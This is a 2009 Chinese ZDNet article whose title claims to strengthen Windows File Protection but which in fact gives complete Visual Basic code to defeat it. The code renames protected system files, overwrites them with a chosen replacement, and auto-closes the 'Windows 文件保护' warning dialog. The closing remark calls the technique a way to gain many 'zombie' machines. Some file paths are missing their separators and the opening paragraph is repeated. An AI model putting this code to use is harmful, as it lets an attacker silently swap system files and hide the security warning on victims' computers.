几招技巧彻底加强Windows文件保护稳定性

ZDNet软件频道 时间:2009-11-04 作者: | CCW 我要评论()
本文关键词:安全技术 系统安全 Windows Windows
  还是先说思想,有了思想万事都好办。注意“攻略”一文中对话框的标题,是不是“Windows 文件保护”啊。我们就从它下手。有两种方法,一是根据这个窗口标题查找,找到后将其隐藏,这个可以通过ShowWindow API和SW_HIDE消息来完成,但是毕竟窗口仍然存在,不是很安全。第二种也同样是根据这个窗口标题查找,找到后不是将其隐藏,而是通过发送系统消息直接关闭。下面我将以一个完整的替换文件、关闭对话框的例子来讲解。这里选择第二种方法。

  “破坏”思想

  还是先说思想,有了思想万事都好办。注意“攻略”一文中对话框的标题,是不是“Windows 文件保护”啊。我们就从它下手。有两种方法,一是根据这个窗口标题查找,找到后将其隐藏,这个可以通过ShowWindow API和SW_HIDE消息来完成,但是毕竟窗口仍然存在,不是很安全。第二种也同样是根据这个窗口标题查找,找到后不是将其隐藏,而是通过发送系统消息直接关闭。下面我将以一个完整的替换文件、关闭对话框的例子来讲解。这里选择第二种方法。

  界面设计

  好了,还是先给出各控件布局,及对应属性。

  初始化

  程序开始首当其冲的当然是初始化了。在这里要声明需要使用的API、常数及变量,并获取Windows目录的完整路径。

  "获取Windows安装所在目录的API

  Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

  "查找窗口句柄的API

  Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

  "根据句柄关闭指定窗口的API

  Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

  "关闭窗口的常数

  Private Const WM_QUIT = &H12

  "存放Windows目录的变量

  Dim WindowsDirectory As String

  Private Sub Form_Load()

  "存放获取的Windows目录的字符串缓冲区

  Dim Path As String

  "设置缓冲区内容,以便分解Windows目录的完整路径

  Path = Space(255)

  "获取Windows目录的路径,存放进缓冲区

  Call GetWindowsDirectory(Path, 255)

  "分解Windows目录的完整路径

  WindowsDirectory = Mid(Path, 1, InStr(1, Path, " ") - 2)

  "指定被替换文件的完整路径及文件名

  txtSource.Text = WindowsDirectory & "" & "notepad.exe"

  "指定替换文件的完整路径及文件名

  txtDestination = WindowsDirectory & "" & "regedit.exe"

  End Sub

  然后就要开始替换文件的过程了。判断指定的被替换文件和替换文件是否都存在,存在的话则就根据复选框选择的路径进行替换,这里的思想是将所有的文件都改名了,就没有办法恢复了,然后将替换文件复制成被替换文件,这样就避免了直接替换而可能产生意料情况。替换后将定时器激活,进行对话框查找。

  Private Sub cmdDo_Click()

  "执行时屏蔽所有的操作对象,防止误操作,而导致程序崩溃

  cmdDo.Enabled = False: txtSource.Enabled = False: txtDestination.Enabled = False

  chkWindows.Enabled = False: chkSystem32.Enabled = False: chkDllcache.Enabled = False: chkI386.Enabled = False

  "设置错误陷阱,因为下面的程序涉及到文件操作

  On Error Resume Next

  "判断被替换文件和替换文件是否存在

  If Dir(txtSource.Text) <> "" And Dir(txtDestination.Text) <> "" Then

  "存在,定义被替换文件的文件名存放变量

  Dim FileName As String

  "获取被替换文件的文件名

  FileName = Mid(txtSource.Text, InStrRev(txtSource.Text, "") + 1, Len(txtSource.Text) - InStrRev(txtSource.Text, ""))

  "判断是否选中Dllcache复选框

  If chkDllcache.Value = 1 Then

  "是则对Dllcache下的被替换文件改名

  Name WindowsDirectory & "system32dllcache" & FileName As WindowsDirectory & "system32dllcache" & FileName & ".bak"

  End If

  "判断是否选中System32复选框

  If chkSystem32.Value = 1 Then

  "是则对System32下的被替换文件改名

  Name WindowsDirectory & "system32" & FileName As WindowsDirectory & "system32" & FileName & ".bak"

  End If

  "判断是否选中I386复选框

  If chkI386.Value = 1 Then

  "是则对I386下的被替换文件改名

  Name WindowsDirectory & "ServicePackFilesi386" & FileName As WindowsDirectory & "ServicePackFilesi386" & FileName & ".bak"

  End If

  "判断是否选中Windows复选框

  If chkWindows.Value = 1 Then

  "是则对Windows下的被替换文件改名

  Name WindowsDirectory & "" & FileName As WindowsDirectory & "" & FileName & ".bak"

  End If

  "将替换文件复制为被替换文件

  FileCopy txtDestination.Text, txtSource.Text

  "激活定时器

  timCheck.Enabled = True

  End If

  End Sub

  最后则是不停的监视那个“Windows 文件保护”的对话框,一出来就通过PostMessage API向其发送WM_QUIT系统消息,将其关闭。这里要注意一点,是用PostMessage而不是SendMessage,主要是因为消息不需要等待,如果用后者,则关闭不了“攻略”一文中的对话框。反而会弹出另一个对话框。

  Private Sub timCheck_Timer()

  "设置错误陷阱

  On Error Resume Next

  "定义存放"Windows 文件保护"窗口句柄的变量

  Dim hwnd As Long

  "查找"Windows 文件保护"窗口,并把对应的句柄存入变量

  hwnd = FindWindow(vbNullString, "Windows 文件保护")

  "判断是否找到窗口

  If hwnd <> 0 Then

  "是则关闭窗口

  Call PostMessage(hwnd, WM_QUIT, 0, 0)

  "给出成功提示

  MsgBox "替换成功!", vbInformation

  "退出程序

  End

  End If

  End Sub

  好了,到这里就可以编译使用了。

  写在最后

  这样简简单单几步就把MS安全强大的WFP给突破了,让我自己也有点不敢相信,不过这是事实,不得不信啊。一个“小”洞+一款利器=多多肉鸡,相信你绝对不会错过的。

安全技术

系统安全

Windows

Windows

用户评论
用户名
评论内容
发表时间
ZDNet网友
2011-03-18 14:57:01
ZDNet网友
2010-05-21 00:49:14
ZDNet网友
2010-05-21 00:48:00
ZDNet网友
微软应该对自己的用户负责,如果用户完全使用xp升级微软win7,为什么要付出这样麻烦的代价?都是微软出品软件,且都是利用该软件获取信息以及处理文字、多媒体功能,微软应该尽可能方便用户!虽然有时候这样的请求也许跟不上时代技术发展的脚步,但是微软不要以此为借口,认为一切都理所应当,就不可以方便用户。还是要尽力,所谓拿人手短吃人嘴软,商业不正是讲求有商道吗!至少做人需诚实守信,尽可能帮助用户顺利、安全转换操作系统、各种必须软件功能尽可能兼容以及信息尽可能的少丢失!虽然这很大程度仅仅取决于微软等计算机专家、工程师的自我自律约束,我们普通用户恐怕很难知道微软究竟仅了多大力量为用户考虑,但是我相信真相会有被发现的一天,无论多久远。 微软从某种意义上来说,就是一个类似“掌握魔方”操作特别出神入化的公司。几乎奠定了电脑主要的“规则”,但是,我却相信不久将来我们会发现,电脑依然是非常有限的一个小系统而已!随着我们新的关键材料认知突破,电脑系统会真正被另一个革命性新电脑系统所取代,不要以为我这样的说法是无稽之谈不可实现,我却认为很有可能,只看这样的情况发生究竟是快还是慢,是早还是迟!变成历史的小玩具之后的电脑系统,微软会留下良好的历史声名吗?我们拭目以待! 网友::我爱佛祖
2010-02-03 13:52:55
- 发表评论 -
匿名
注册用户

百度大联盟认证黄金会员Copyright© 1997- CNET Networks 版权所有。 ZDNet 是CNET Networks公司注册服务商标。
中华人民共和国电信与信息服务业务经营许可证编号:京ICP证010391号 京ICP备09041801号-159
京公网安备:1101082134